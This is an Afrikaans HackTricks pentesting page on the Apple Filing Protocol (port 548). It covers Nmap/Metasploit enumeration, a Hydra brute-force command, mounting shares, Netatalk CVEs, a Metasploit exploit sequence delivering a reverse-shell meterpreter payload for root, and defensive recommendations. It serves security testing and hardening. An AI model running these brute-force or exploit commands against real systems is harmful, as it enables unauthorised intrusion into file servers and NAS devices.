548 - Pentesting Apple Filing Protocol (AFP)

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Basiese Inligting

Die Apple Filing Protocol (AFP), voorheen bekend as AppleTalk Filing Protocol, is ’n gespesialiseerde netwerkprotokol wat deel vorm van die Apple File Service (AFS). Dit is ontwerp om lêerdienste vir macOS en die klassieke Mac OS te verskaf. AFP onderskei homself deur ondersteuning vir Unicode-lêernaam, POSIX-styl en ACL-permissies, resource forks, benoemde uitgebreide attribuutname en gesofistikeerde lêssluitingsmeganismes.

Alhoewel AFP in moderne macOS-uitgawes vervang is deur SMB (SMB is die standaard sedert OS X 10.9), kom dit steeds voor in:

  • Erfenis-macOS / Mac OS 9 omgewings
  • NAS-toestelle (QNAP, Synology, Western Digital, TrueNAS…) wat die open-source Netatalk daemon insluit
  • Gemmengde-OS-netwerke waar Time-Machine-over-AFP nog steeds geaktiveer is

Standaard TCP-poort: 548 (AFP oor TCP / DSI)

PORT     STATE SERVICE
548/tcp  open  afp

Enumerasie

Vinnige banner / bediener-inligting

# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>

# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>
ScriptWat dit doen
afp-lsLys beskikbare AFP volumes en lêers
afp-brutePassword brute-force teen AFP login
afp-serverinfoDump server name, machine type, AFP version, supported UAMs, etc.
afp-showmountLys shares saam met hul ACLs
afp-path-vulnDetecteer (en kan uitbuit) directory-traversal, CVE-2010-0533

Die NSE brute-force script kan gekombineer word met Hydra/Medusa indien meer beheer benodig word:

hydra -L users.txt -P passwords.txt afp://<IP>

Indien jy reeds credentials het, raak Nmap’s AFP scripts baie meer nuttig omdat afp-serverinfo leaks die geadverteerde UAMs (auth methods), terwyl afp-showmount en afp-ls bereikbare shares, ACLs en interessante lêers kan lys:

nmap -p 548 --script afp-serverinfo,afp-showmount,afp-ls \
--script-args 'afp.username=<USER>,afp.password=<PASS>,ls.maxdepth=2,ls.maxfiles=50' <IP>

Let op:

  • Machine Type: Netatalk in afp-serverinfo output, wat gewoonlik ’n NAS / Unix-host beteken eerder as Apple se eie AFP-implementering.
  • UAMs such as DHX, DHX2, Cleartxt or Guest, omdat dit direk dui op die bereikbare login paths en of legacy / weak auth geaktiveer is.
  • Share ACLs from afp-showmount; world-readable or drop-box style shares maak dikwels backups, .appl files, en user metadata sigbaar voordat jy die volume mount.

Interaksie met shares

macOS

# Finder → Go → "Connect to Server…"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp

Linux (gebruik afpfs-ng ‑ verpak in die meeste distros)

apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>

Sodra dit aangekoppel is, onthou dat klassieke Mac resource-forks as versteekte ._* AppleDouble-lêers gestoor word – dit hou dikwels interessante metadata wat DFIR-instrumente mis.

Op Netatalk-teikens maak hierdie metadata-backend ook saak vir uitbuitbaarheid:

  • ea = ad beteken metadata word gestoor in AppleDouble v2 lêers / .AppleDouble gidse.
  • ea = sys of ea = samba stoor metadata eerder in filesystem extended attributes.
  • In Netatalk 4.2+ is die ou appledouble opsie verwyder en die backend word uitsluitlik deur die ea opsie beheer.

Van ’n offensiewe perspektief laat dit jou vinnig besluit of AppleDouble-oriented bugs meer waarskynlik op die bediener bereikbaar is.


Common Vulnerabilities & Exploitation

Netatalk unauthenticated RCE chain (2022)

Verskeie NAS-verskaffers het Netatalk ≤3.1.12 gebruik. ’n Gebrek aan bounds checking in parse_entries() stel ’n aanvaller in staat om ’n kwaadwillige AppleDouble-opskrif te skep en remote root te verkry voor verifikasie (CVSS 9.8 – CVE-2022-23121). ’n Volledige uiteensetting deur NCC Group met PoC wat Western-Digital PR4100 uitbuit, is beskikbaar.

Metasploit (>= 6.3) bevat die module exploit/linux/netatalk/parse_entries wat die payload via DSI WRITE lewer.

use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0   # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run

As die teiken ’n geaffekteerde QNAP/Synology-firmware gebruik, gee ’n suksesvolle eksploitasie ’n shell as root.

Netatalk OpenSession heap overflow (2018)

Ouer Netatalk (3.0.0 - 3.1.11) is kwesbaar vir ’n out-of-bounds-skrif in die DSI OpenSession handler wat ongemagtigde uitvoering van kode moontlik maak (CVE-2018-1160). ’n Gedetaileerde ontleding en PoC is deur Tenable Research gepubliseer.

Nuutste Netatalk-aanvalsoppervlak (2022-2024)

Onlangse Netatalk-advieslyste toon dat die aanvalsoppervlak nie meer tot parse_entries() en OpenSession-hantering beperk is nie:

  • CVE-2022-45188: ’n spesiaal saamgestelde .appl-lêer kan ’n heap overflow in afp_getappl uitlok; dit is veral relevant as jy lêers in ’n share kan skryf en die bediener FCE / notify-funksies hardloop.
  • CVE-2023-42464: ’n type confusion fout in die Spotlight RPC handlers kan bereikbaar raak wanneer spotlight = yes in afp.conf geaktiveer is (standaard gedeaktiveer).
  • CVE-2024-38439 / CVE-2024-38440 / CVE-2024-38441: een-byt heap out-of-bounds-skrifte in login-verwante paaie reggestel in Netatalk 2.4.1 / 3.1.19 / 3.2.1. Hierdie foutjies is interessant omdat uitbuitbaarheid afhang van die gekonfigureerde UAMs:
    • uams_clrtxt.so + PAM-backed ClearTxt login maak die FPLoginExt-pad bloot wat relevant is vir CVE-2024-38439.
    • uams_dhx.so + PAM-backed DHX login bereik die kwesbare pad vir CVE-2024-38440.
    • uams_guest.so hou die Guest-aanmeldpad bereikbaar vir CVE-2024-38441.

Dit beteken die uitset van afp-serverinfo is nie net fingerprinting-data nie; dit help jou besluit watter login parser blootgestel is voordat jy tyd spandeer aan exploit-ontwikkeling of NAS-firmware-triage.

Ander noemenswaardige probleme

  • CVE-2022-22995 – Symlink-omleiding wat lei tot arbitêre lêerskryf / RCE wanneer AppleDouble v2 aangeskakel is (3.1.0 - 3.1.17).
  • CVE-2010-0533 – Directory traversal in Apple Mac OS X 10.6 AFP (gedetekteer deur afp-path-vuln.nse).
  • Verskeie memory-safety-foute is weer reggestel tydens die 2024 Netatalk releases; as jy Netatalk in afp-serverinfo identifiseer, spandeer ’n minuut om die blootgestelde UAMs / Spotlight / metadata-backend met die bedienerweergawe te korreleer voordat jy aanneem slegs die 2018/2022-foute is relevant.

Verdedigende Aanbevelings

  1. Deaktiveer AFP tensy dit streng nodig is – gebruik eerder SMB3 of NFS.
  2. As AFP moet bly, werk Netatalk op na ≥ 3.1.18 of 4.x, of installeer vendor-firmware wat die 2022/2023/2024-patches terugporteer.
  3. Handhaaf Sterk UAMs (bv. DHX2), deaktiveer clear-text en guest-aanmeldings.
  4. Beperk TCP 548 tot vertroude subnette en plaas AFP binne ’n VPN wanneer dit op afstand blootgestel word.
  5. Skandeer periodiek met nmap -p 548 --script afp-* in CI/CD om onbetroubare / afgegradeerde toestelle op te spoor.

Brute-Force

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks